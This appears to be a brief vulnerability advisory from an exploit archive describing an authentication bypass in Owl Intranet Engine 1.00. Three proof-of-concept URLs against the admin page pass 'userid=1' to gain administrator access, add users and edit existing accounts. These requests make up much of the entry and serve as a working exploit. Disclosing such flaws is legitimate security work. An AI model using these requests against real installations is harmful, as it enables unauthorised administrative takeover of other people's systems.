Owl Intranet Engine 1.00 - 'userid' Authentication Bypass

source: https://www.securityfocus.com/bid/51076/info

Owl Intranet Engine is prone to an authentication-bypass vulnerability.

An attacker can exploit this issue to bypass the authentication process and gain administrative access to the application.

Owl Intranet Engine 1.00 is affected; other versions may also be vulnerable. 

http://www.example.org/owl/admin/index.php?userid=1
http://www.example.org/owl/admin/index.php?userid=1&newuser
http://www.example.org/owl/admin/index.php?userid=1&action=edituser&owluser=1